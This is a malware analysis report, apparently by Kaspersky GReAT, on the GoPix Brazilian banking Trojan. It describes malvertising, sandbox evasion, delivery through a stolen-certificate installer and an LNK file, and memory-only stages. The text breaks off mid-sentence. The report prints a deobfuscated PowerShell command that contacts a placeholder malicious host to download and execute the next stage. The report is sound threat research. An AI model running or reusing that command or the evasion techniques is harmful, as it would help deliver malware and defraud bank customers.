Free real estate: GoPix, the banking Trojan living off your memory
GoPix is an advanced Brazilian banking Trojan that uses memory-only implants, obfuscated PowerShell scripts, and malvertising via Google Ads to target financial institutions and cryptocurrency users. The malware employs sophisticated man-in-the-middle attacks via PAC files, clipboard stealing, and transaction manipulation while evading detection through LOLBin techniques and short-lived C2 infrastructure.
Summary
GoPix is an advanced Brazilian banking Trojan that uses memory-only implants, obfuscated PowerShell scripts, and malvertising via Google Ads to target financial institutions and cryptocurrency users. The malware employs sophisticated man-in-the-middle attacks via PAC files, clipboard stealing, and transaction manipulation while evading detection through LOLBin techniques and short-lived C2 infrastructure.
Full text
Table of Contents IntroductionInitial infectionInfection chainFirst-stage payloadInitial PowerShell scriptObfuscated PowerShell scriptDecrypted PowerShell script “ps”ShellcodeGoPix dropperMain GoPix implantClipboard stealing functionalityUnique man-in-the-middle attackHTTPS interceptionConclusionIndicators of compromise Authors GReAT Introduction GoPix is an advanced persistent threat targeting Brazilian financial institutions’ customers and cryptocurrency users. It represents an evolved threat targeting internet banking users through memory-only implants and obfuscated PowerShell scripts. It evolved from the RAT and Automated Transfer System (ATS) threats that were used in other malware campaigns into a unique threat never seen before. Operating as a LOLBin (Living-off-the-Land Binary), GoPix exemplifies a sophisticated approach that integrates malvertising vectors via platforms such as Google Ads to compromise prominent financial institutions’ customers. Our extensive analysis reveals GoPix’s capabilities to execute man-in-the-middle attacks, monitor Pix transactions, Boleto slips, and manipulate cryptocurrency transactions. The malware strategically bypasses security measures implemented by financial institutions while maintaining persistence and employing robust cleanup mechanisms to challenge Digital Forensics and Incident Response (DFIR) efforts. GoPix has reached a level of sophistication never before seen in malware originating in Brazil. It’s been over three years since we first identified it, and it remains highly active. The threat is recognized for its stealthy methods of infecting victims and evading detection by security software, using new tricks to stay operable. The threat differs in its behavior from the RATs already seen in other Brazilian families, such as Grandoreiro. GoPix uses C2s with a very short lifespan, which stay online only for a few hours. In addition, the attackers behind this threat abuse legitimate anti-fraud and reputation services to perform targeted delivery of its payload and ensure that they have not infected a sandbox or system used in analysis. They handpick their victims, financial bodies of state governments and large corporations. The campaign leverages a malvertisement technique which has been active since December 2022. The strategic use of multiple obfuscation layers and a stolen code signing certificate showcases GoPix’s ability to evade traditional security defenses and steal and manipulate sensitive financial data. The Brazilian group behind GoPix is clearly learning from APT groups to make malware persistent and hide it, loading its modules into memory, keeping few artifacts on disk, and making hunting with YARA rules ineffective for capturing them. The malware can also switch between processes for specific functionalities, potentially disabling security software, as well as executing a man-in-the-middle attack with a previously unseen technique. Initial infection Initial infection is achieved through malvertising campaigns. The threat actors in most cases use Google Ads to spread baits related to popular services like WhatsApp, Google Chrome, and the Brazilian postal service Correios and lure victims to malicious landing pages. We have been monitoring this threat since 2023, and it continues to be very active for the time being. GoPix malware campaign detections (download) The initial infection vector is shown below: Initial infection vector When the user ends up on the GoPix landing page, the malware abuses legitimate IP scoring systems to determine whether the user is a target of interest or a bot running in malware analysis environments. The initial scoring is done through a legitimate anti-fraud service, with a number of browser and environment parameters sent to this service, which returns a request ID. The malicious website uses this ID to check whether the user should receive the malicious installer or be redirected to a harmless dummy landing page. If the user is not considered a valuable target, no malware is delivered. Website shown if the user is detected as a bot or sandbox However, if the victim passes the bot check, the malicious website will query the check.php endpoint, which will then return a JSON response with two URLs: JSON response from a malicious endpoint The victim will then be presented with a fake webpage offering to download advertised software, this being the malicious “WhatsApp Web installer” in the case at hand. To decide which URL the victim will be redirected to, another check happens in the JavaScript code for whether the 27275 port is open on localhost. WebSocket request to check if the port is open This port is used by the Avast Safe Banking feature, present in many Avast products, which are very popular in countries like Brazil. If the port is open, the victim is led to download the first-stage payload from the second URL (url2). It is a ZIP file containing an LNK file with an obfuscated PowerShell designed to download the next stage. If the port is closed, the victim is redirected to the first URL (url), which offers to download a fake WhatsApp executable NSIS installer. At first, we thought this detection could lead the victim to a potential exploit. However, during our research, we discovered that the only difference was that if Avast was installed, the victim was led to another infection vector, which we describe below. Malware delivered through a malicious website Infection chain First-stage payload If no Avast solution is installed, an executable NSIS installer file is delivered to the victim’s device. The attackers change this installer frequently to avoid detection. It’s digitally signed with a stolen code signing certificate issued to “PLK Management Limited”, also used to sign the legitimate “Driver Easy Pro” software. Stolen certificate used to sign the malicious installer The purpose of the NSIS installer is to create and run an obfuscated batch file, which will use PowerShell to make a request to the malicious website for the next-stage payload. NSIS installer code creating a batch file However, if the 27275 port is open, indicating the victim has an Avast product installed, the infection happens through the second URL. The victim is led to download a ZIP file with an LNK file inside. This shortcut file contains an obfuscated command line. Obfuscated command line inside the LNK Deobfuscated command line: WindowsPowerShell\v10\powershell (New-Object NetWebClient)UploadString("http://MALICIOUS/1/","tHSb")|$env:E - 1 WindowsPowerShell\v10\powershell (New-Object NetWebClient)UploadString("http://MALICIOUS/1/","tHSb")|$env:E - The purpose of this command line is to download and execute the next-stage payload from the malicious URL referenced above. It’s highly likely this method is used because Avast Safe Browser blocks direct downloads of executable files, so instead of downloading the executable NSIS installer, a ZIP file is delivered. Once the PowerShell command from either the LNK or EXE file is executed, GoPix executes yet another obfuscated PowerShell script that is remotely retrieved (in the GoPix downloader image below, it’s defined as “PowerShell Script”). GoPix delivery chain Initial PowerShell script This script’s purpose is to collect system information and send it to the GoPix C2. Upon doing so, the script obtains a JSON file containing GoPix modules and a configuration that is saved on the victim’s computer. System information collection The information contained within this JSON is as follows: Folder and file names to be created under the %APPDATA% directory Obfuscated PowerShell script Encrypted PowerShell script ps Malicious code implant sc containing encrypted GoPix dropper shellcode, GoPix dropper, main payload shellcode and main GoPix implant GoPix configuration file pf Once these files are saved, an additional batch file is also created and executed. Its purpose is to launch the obfuscated PowerShell script. PSExecutionPolicyPreferen
Indicators of Compromise
- malware — GoPix
- malware — Grandoreiro